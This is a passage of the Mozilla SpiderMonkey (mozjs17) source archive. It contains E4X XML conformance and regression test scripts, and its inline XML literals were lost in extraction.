x.ns::bravo.@ns::value.name(); TEST(7, "http://foo/", y.uri); TEST(8, "value", y.localName); TEST(9, QName("http://foo/", "value"), y); END(); mozjs17.0.0/js/src/tests/e4x/XML/regress-324422-2.js0000664000175000017500000000160312106270663021213 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- slow /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Do not crash creating XML object with long initialiser"; var BUGNUMBER = 324422; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); printStatus ("Expect out of memory error"); expectExitCode(0); expectExitCode(5); try { var str = '0123456789'; for (var icount = 0; icount < 24; icount++) { str = str + str; } printStatus(str.length); var x = new XML('' + str + ''); } catch(ex) { print(ex + ''); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.6.js0000664000175000017500000000164712106270663017547 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.6 - XML child()"); TEST(1, true, XML.prototype.hasOwnProperty("child")); emps = Jim25 Joe20 ; correct = Jim25 + Joe20; TEST(2, correct, emps.child("employee")); TEST(3, Joe, emps.employee[1].child("name")); correct = Joe20; TEST(4, correct, emps.child(1)); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.30.js0000664000175000017500000000150612106270663017616 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.30 - propertyIsEnumerable()"); TEST(1, true, XML.prototype.hasOwnProperty("propertyIsEnumerable")); // All properties accessible by Get are enumerable x = one ; TEST(2, true, x.propertyIsEnumerable("0")); TEST(3, true, x.propertyIsEnumerable(0)); TEST(5, false, x.propertyIsEnumerable("bravo")); TEST(6, false, x.propertyIsEnumerable()); TEST(7, false, x.propertyIsEnumerable(undefined)); TEST(8, false, x.propertyIsEnumerable(null)); END(); mozjs17.0.0/js/src/tests/e4x/XML/browser.js0000664000175000017500000000000012106270663020315 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/XML/13.4.4.35.js0000664000175000017500000000203612106270663017622 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.35 - setName"); TEST(1, true, XML.prototype.hasOwnProperty("setName")); x = one ; correct = one ; x.setName("charlie"); TEST(2, correct, x); x = one ; correct = one ; x.setName("charlie"); TEST(3, correct, x); x = one ; correct = one ; x.setName(new QName("http://foobar/", "charlie")); TEST(4, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.3.js0000664000175000017500000001021212106270663017366 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.3 - XML Properties"); // Test defaults TEST(1, true, XML.ignoreComments); TEST(2, true, XML.ignoreProcessingInstructions); TEST(3, true, XML.ignoreWhitespace); TEST(4, true, XML.prettyPrinting); TEST(5, 2, XML.prettyIndent); // ignoreComments x = one; correct = one; TEST(6, correct, x); XML.ignoreComments = false; x = one; correct = "\n" + " \n" + " one\n" + ""; TEST_XML(7, correct, x); // ignoreProcessingInstructions XML.setSettings(); x = <> one ; correct = one ; TEST(8, correct, x); XML.ignoreProcessingInstructions = false; x = <> one ; correct = "\n" + " \n" + " one\n" + ""; TEST_XML(9, correct, x); // ignoreWhitespace XML.setSettings(); x = new XML(" \t\r\n\r\n \t\r\n\r\none \t\r\n\r\n"); correct = "\n" + " one\n" + ""; TEST_XML(10, correct, x); XML.ignoreWhitespace = false; XML.prettyPrinting = false; correct = " \n\n \n\none \n\n"; x = new XML(correct); TEST_XML(11, correct, x); // prettyPrinting XML.setSettings(); x = one two three four ; correct = "\n" + " one\n" + " two\n" + " \n" + " \n" + " three\n" + " four\n" + " \n" + ""; TEST(12, correct, x.toString()); TEST(13, correct, x.toXMLString()); XML.prettyPrinting = false; correct = "onetwothreefour"; TEST(14, correct, x.toString()); TEST(15, correct, x.toXMLString()); // prettyIndent XML.prettyPrinting = true; XML.prettyIndent = 3; correct = "\n" + " one\n" + " two\n" + " \n" + " \n" + " three\n" + " four\n" + " \n" + ""; TEST(16, correct, x.toString()); TEST(17, correct, x.toXMLString()); XML.prettyIndent = 0; correct = "\n" + "one\n" + "two\n" + "\n" + "\n" + "three\n" + "four\n" + "\n" + ""; TEST(18, correct, x.toString()); TEST(19, correct, x.toXMLString()); // settings() XML.setSettings(); o = XML.settings(); TEST(20, true, o.ignoreComments); TEST(21, true, o.ignoreProcessingInstructions); TEST(22, true, o.ignoreWhitespace); TEST(23, true, o.prettyPrinting); TEST(24, 2, o.prettyIndent); // setSettings() o = XML.settings(); o.ignoreComments = false; o.ignoreProcessingInstructions = false; o.ignoreWhitespace = false; o.prettyPrinting = false; o.prettyIndent = 7; XML.setSettings(o); o = XML.settings(); TEST(25, false, o.ignoreComments); TEST(26, false, o.ignoreProcessingInstructions); TEST(27, false, o.ignoreWhitespace); TEST(28, false, o.prettyPrinting); TEST(29, 7, o.prettyIndent); // setSettings() XML.setSettings(); o = XML.settings(); TEST(30, true, o.ignoreComments); TEST(31, true, o.ignoreProcessingInstructions); TEST(32, true, o.ignoreWhitespace); TEST(33, true, o.prettyPrinting); TEST(34, 2, o.prettyIndent); correct = new XML(''); // ignoreComments XML.ignoreComments = true; x = ; TEST(35, correct, x); // ignoreProcessingInstructions XML.ignoreProcessingInstructions = true; x = ; TEST(36, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/XML/regress-291930.js0000664000175000017500000000113012106270663021056 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("If document starts with comment, document is discarded"); printBugNumber(291930); XML.ignoreComments = false; try { var root = new XML(" "); SHOULD_THROW(1, "SyntaxError"); } catch (e) { TEST(1, "error", "error"); } END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.13.js0000664000175000017500000000070112106270663017613 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.14 - XML elements()"); TEST(1, true, XML.prototype.hasOwnProperty("elements")); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.21.js0000664000175000017500000000204512106270663017615 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.21 - XML localName()"); TEST(1, true, XML.prototype.hasOwnProperty("localName")); x = one two ; y = x.bravo.localName(); TEST(2, "string", typeof(y)); TEST(3, "bravo", y); y = x.bravo.localName(); x.bravo.setNamespace("http://someuri"); TEST(4, "bravo", y); x = one ; ns = new Namespace("http://foo/"); y = x.ns::bravo.localName(); TEST(5, "string", typeof(y)); TEST(6, "bravo", y); y = x.ns::bravo.@name.localName(); TEST(7, "name", y); y = x.ns::bravo.@ns::value.localName(); TEST(8, "value", y); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.3.js0000664000175000017500000000271612106270663017542 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.3 - XML appendChild()"); TEST(1, true, XML.prototype.hasOwnProperty("appendChild")); // Add new employee to list emps = Jim25 Joe20 ; correct = Jim25 Joe20 Sue30 ; newEmp = Sue30; emps.appendChild(newEmp); TEST(2, correct, emps); // Add a new child element to the end of Jim's employee element emps = Jim25 Joe20 ; correct = Jim25snorkeling Joe20 ; emps.employee.(name == "Jim").appendChild(snorkeling); TEST(3, correct, emps); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.1.js0000664000175000017500000000075712106270663017543 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.1 - XML Constructor"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.32-01.js0000664000175000017500000000115012106270663020031 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.32-1 - XML replace() by index, text to string"); printBugNumber(291927); var root = text; TEST_XML(1, "text", root.child(0)); root.replace(0, "new text"); TEST_XML(2, "new text", root.child(0)); TEST(3, new text, root); END(); mozjs17.0.0/js/src/tests/e4x/XML/regress-376773.js0000664000175000017500000004560112106270663021102 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 376773; var summary = 'xmlsimple.stringmethod === xmlsimple.function::stringmethod'; var actual = ''; var expect = ''; var actualcall = ''; var expectcall = ''; printBugNumber(BUGNUMBER); START(summary); var nTest = 0; var xml = TEXT; // -------------------------------------------------------------- String.prototype.orig_toString = String.prototype.toString; String.prototype.toString = function() { actualcall = 'String.prototype.toString called'; return this.orig_toString(); }; expect = 'TEXT'; expectcall = 'String.prototype.toString not called'; actualcall = expectcall; actual = xml.toString(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::toString(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::toString.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.toString = String.prototype.orig_toString; delete String.prototype.orig_toString; // -------------------------------------------------------------- String.prototype.orig_toSource = String.prototype.toSource; String.prototype.toSource = function() { actualcall = 'String.prototype.toSource called'; return this.orig_toSource(); }; expect = 'TEXT'; expectcall = 'String.prototype.toSource not called'; actualcall = expectcall; actual = xml.toSource(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::toSource(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::toSource.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.toSource = String.prototype.orig_toSource; delete String.prototype.orig_toSource; // -------------------------------------------------------------- String.prototype.orig_valueOf = String.prototype.valueOf; String.prototype.valueOf = function() { actualcall = 'String.prototype.valueOf called'; return this.orig_valueOf(); }; expect = 'TEXT'; expectcall = 'String.prototype.valueOf not called'; actualcall = expectcall; actual = xml.valueOf(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::valueOf(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::valueOf.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.valueOf = String.prototype.orig_valueOf; delete String.prototype.orig_valueOf; // -------------------------------------------------------------- String.prototype.orig_charAt = String.prototype.charAt; String.prototype.charAt = function(pos) { actualcall = 'String.prototype.charAt called'; return this.orig_charAt(pos); }; expect = 'T'; expectcall = 'String.prototype.charAt called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.charAt(0); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::charAt(0); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::charAt.call(xml, 0); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.charAt = String.prototype.orig_charAt; delete String.prototype.orig_charAt; // -------------------------------------------------------------- String.prototype.orig_charCodeAt = String.prototype.charCodeAt; String.prototype.charCodeAt = function(pos) { actualcall = 'String.prototype.charCodeAt called'; return this.orig_charCodeAt(pos); }; expect = 84; expectcall = 'String.prototype.charCodeAt called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.charCodeAt(0); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::charCodeAt(0); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::charCodeAt.call(xml, 0); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.charCodeAt = String.prototype.orig_charCodeAt; delete String.prototype.orig_charCodeAt; // -------------------------------------------------------------- String.prototype.orig_concat = String.prototype.concat; String.prototype.concat = function(string1) { actualcall = 'String.prototype.concat called'; return this.orig_concat(string1); }; expect = 'TEXTtext'; expectcall = 'String.prototype.concat called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.concat(text); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::concat(text); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::concat.call(xml, text); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.concat = String.prototype.orig_concat; delete String.prototype.orig_concat; // -------------------------------------------------------------- String.prototype.orig_indexOf = String.prototype.indexOf; String.prototype.indexOf = function(searchString, position) { actualcall = 'String.prototype.indexOf called'; return this.orig_indexOf(searchString, position); }; expect = 0; expectcall = 'String.prototype.indexOf called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.indexOf('T'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::indexOf('T'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::indexOf.call(xml, 'T'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.indexOf = String.prototype.orig_indexOf; delete String.prototype.orig_indexOf; // -------------------------------------------------------------- String.prototype.orig_lastIndexOf = String.prototype.lastIndexOf; String.prototype.lastIndexOf = function(searchString, position) { actualcall = 'String.prototype.lastIndexOf called'; return this.orig_lastIndexOf(searchString, position); }; expect = 3; expectcall = 'String.prototype.lastIndexOf called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.lastIndexOf('T'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::lastIndexOf('T'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::lastIndexOf.call(xml, 'T'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.lastIndexOf = String.prototype.orig_lastIndexOf; delete String.prototype.orig_lastIndexOf; // -------------------------------------------------------------- String.prototype.orig_localeCompare = String.prototype.localeCompare; String.prototype.localeCompare = function(that) { actualcall = 'String.prototype.localeCompare called'; return this.orig_localeCompare(that); }; expect = 0; expectcall = 'String.prototype.localeCompare called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.localeCompare(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::localeCompare(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::localeCompare.call(xml, xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.localeCompare = String.prototype.orig_localeCompare; delete String.prototype.orig_localeCompare; // -------------------------------------------------------------- String.prototype.orig_match = String.prototype.match; String.prototype.match = function(regexp) { actualcall = 'String.prototype.match called'; return this.orig_match(regexp); }; expect = ['TEXT']; expectcall = 'String.prototype.match called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.match(/TEXT/); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::match(/TEXT/); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.replace(/called/, 'not called'); actual = xml.function::match.call(xml, /TEXT/); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.match = String.prototype.orig_match; delete String.prototype.orig_match; // -------------------------------------------------------------- String.prototype.orig_replace = String.prototype.replace; String.prototype.replace = function(searchValue, replaceValue) { actualcall = 'String.prototype.replace called'; return this.orig_replace(searchValue, replaceValue); }; expect = 'TEXT'; expectcall = 'String.prototype.replace not called'; actualcall = expectcall; actual = xml.replace(/EXT/, 'ext'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::replace(/EXT/, 'ext'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall; actual = xml.function::replace.call(xml, /EXT/, 'ext'); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.replace = String.prototype.orig_replace; delete String.prototype.orig_replace; // -------------------------------------------------------------- String.prototype.orig_search = String.prototype.search; String.prototype.search = function(regexp) { actualcall = 'String.prototype.search called'; return this.orig_search(regexp); }; expect = 0; expectcall = 'String.prototype.search called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.search(/TEXT/); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.search(/called/, 'not called'); actual = xml.function::search(/TEXT/); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.search(/called/, 'not called'); actual = xml.function::search.call(xml, /TEXT/); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.search = String.prototype.orig_search; delete String.prototype.orig_search; // -------------------------------------------------------------- String.prototype.orig_slice = String.prototype.slice; String.prototype.slice = function(start, end) { actualcall = 'String.prototype.slice called'; return this.orig_slice(start, end); }; expect = ''; expectcall = 'String.prototype.slice called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.slice(1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.slice(/called/, 'not called'); actual = xml.function::slice(1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.slice(/called/, 'not called'); actual = xml.function::slice.call(xml, 1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.slice = String.prototype.orig_slice; delete String.prototype.orig_slice; // -------------------------------------------------------------- String.prototype.orig_split = String.prototype.split; String.prototype.split = function(separator, limit) { actualcall = 'String.prototype.split called'; return this.orig_split(separator, limit); }; expect = ['T', 'E', 'X', 'T']; expectcall = 'String.prototype.split called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.split(''); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.split(/called/, 'not called'); actual = xml.function::split(''); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.split(/called/, 'not called'); actual = xml.function::split.call(xml, ''); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.split = String.prototype.orig_split; delete String.prototype.orig_split; // -------------------------------------------------------------- String.prototype.orig_substr = String.prototype.substr; String.prototype.substr = function(start, length) { actualcall = 'String.prototype.substr called'; return this.orig_substr(start, length); }; expect = 'E'; expectcall = 'String.prototype.substr called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.substr(1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.substr(/called/, 'not called'); actual = xml.function::substr(1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.substr(/called/, 'not called'); actual = xml.function::substr.call(xml, 1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.substr = String.prototype.orig_substr; delete String.prototype.orig_substr; // -------------------------------------------------------------- String.prototype.orig_substring = String.prototype.substring; String.prototype.substring = function(start, end) { actualcall = 'String.prototype.substring called'; return this.orig_substring(start, end); }; expect = ''; expectcall = 'String.prototype.substring called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.substring(1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.substring(/called/, 'not called'); actual = xml.function::substring(1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.substring(/called/, 'not called'); actual = xml.function::substring.call(xml, 1,1); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.substring = String.prototype.orig_substring; delete String.prototype.orig_substring; // -------------------------------------------------------------- String.prototype.orig_toLowerCase = String.prototype.toLowerCase; String.prototype.toLowerCase = function() { actualcall = 'String.prototype.toLowerCase called'; return this.orig_toLowerCase(); }; expect = 'text'; expectcall = 'String.prototype.toLowerCase called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.toLowerCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toLowerCase(/called/, 'not called'); actual = xml.function::toLowerCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toLowerCase(/called/, 'not called'); actual = xml.function::toLowerCase.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.toLowerCase = String.prototype.orig_toLowerCase; delete String.prototype.orig_toLowerCase; // -------------------------------------------------------------- String.prototype.orig_toLocaleLowerCase = String.prototype.toLocaleLowerCase; String.prototype.toLocaleLowerCase = function() { actualcall = 'String.prototype.toLocaleLowerCase called'; return this.orig_toLocaleLowerCase(); }; expect = 'text'; expectcall = 'String.prototype.toLocaleLowerCase called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.toLocaleLowerCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toLocaleLowerCase(/called/, 'not called'); actual = xml.function::toLocaleLowerCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toLocaleLowerCase(/called/, 'not called'); actual = xml.function::toLocaleLowerCase.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.toLocaleLowerCase = String.prototype.orig_toLocaleLowerCase; delete String.prototype.orig_toLocaleLowerCase; // -------------------------------------------------------------- String.prototype.orig_toUpperCase = String.prototype.toUpperCase; String.prototype.toUpperCase = function() { actualcall = 'String.prototype.toUpperCase called'; return this.orig_toUpperCase(); }; expect = 'TEXT'; expectcall = 'String.prototype.toUpperCase called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.toUpperCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toUpperCase(/called/, 'not called'); actual = xml.function::toUpperCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toUpperCase(/called/, 'not called'); actual = xml.function::toUpperCase.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.toUpperCase = String.prototype.orig_toUpperCase; delete String.prototype.orig_toUpperCase; // -------------------------------------------------------------- String.prototype.orig_toLocaleUpperCase = String.prototype.toLocaleUpperCase; String.prototype.toLocaleUpperCase = function() { actualcall = 'String.prototype.toLocaleUpperCase called'; return this.orig_toLocaleUpperCase(); }; expect = 'TEXT'; expectcall = 'String.prototype.toLocaleUpperCase called'; actualcall = expectcall.replace(/called/, 'not called'); actual = xml.toLocaleUpperCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toLocaleUpperCase(/called/, 'not called'); actual = xml.function::toLocaleUpperCase(); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); actualcall = expectcall.toLocaleUpperCase(/called/, 'not called'); actual = xml.function::toLocaleUpperCase.call(xml); TEST(++nTest, expectcall + ':' + expect, actualcall + ':' + actual); String.prototype.toLocaleUpperCase = String.prototype.orig_toLocaleUpperCase; delete String.prototype.orig_toLocaleUpperCase; var l = <>text; expect = 't'; actual = l.function::charAt.call(l, 0); TEST(++nTest, expect, actual); expect = 't'; with (l) actual = function::charAt(0); TEST(++nTest, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.3.10.js0000664000175000017500000000121012106270663017603 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.3.10 - XML Constructor [[HasInstance]]"); printBugNumber(288027); var xmlListObject1 = new XMLList('Kibo'); var xmlListObject2 = new XMLList('KiboXibo'); TEST(1, true, xmlListObject1 instanceof XML); TEST(2, true, xmlListObject2 instanceof XML); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.29.js0000664000175000017500000000214512106270663017626 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.29 - XML prependChild()"); TEST(1, true, XML.prototype.hasOwnProperty("prependChild")); x = one ; correct = bar one ; x.bravo.prependChild(bar); TEST(2, correct, x); emps = John Sue correct = Mr. John Sue emps.employee.(name == "John").prependChild(Mr.); TEST(3, correct, emps); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.10.js0000664000175000017500000000330012106270663017606 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var nTest = 0; START("13.4.4.10 - XML contains()"); TEST(++nTest, true, XML.prototype.hasOwnProperty("contains")); emps = Jim25 Joe20 ; TEST(++nTest, true, emps.contains(emps)); // Martin - bug 289706 expect = 'gods.contains(\'Kibo\')==false && (gods==\'Kibo\')==false'; var gods = Kibo Xibo ; printStatus('XML markup is:\r\n' + gods.toXMLString()); var string = 'Kibo'; actual = 'gods.contains(\'' + string + '\')==' + gods.contains(string); actual += ' && '; actual += '(gods==\'' + string + '\')==' + (gods == string); TEST(++nTest, expect, actual); // Martin - bug 289790 function containsTest(xmlObject, value) { var comparison = (xmlObject == value); var containsCheck = xmlObject.contains(value); var result = (comparison == containsCheck); printStatus('Comparing ' + xmlObject.nodeKind() + ' against ' + (typeof value) + ':'); printStatus('==: ' + comparison + '; contains: ' + containsCheck + '; check ' + (result ? 'passed' : 'failed')); return result; } actual = containsTest(new XML('Kibo'), 'Kibo'); TEST(++nTest, true, actual); actual = containsTest(Kibo, 'Kibo'); TEST(++nTest, true, actual); END(); mozjs17.0.0/js/src/tests/e4x/XML/13.4.4.31.js0000664000175000017500000000160612106270663017620 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.4.4.31 - XML removeNamespace()"); TEST(1, true, XML.prototype.hasOwnProperty("removeNamespace")); 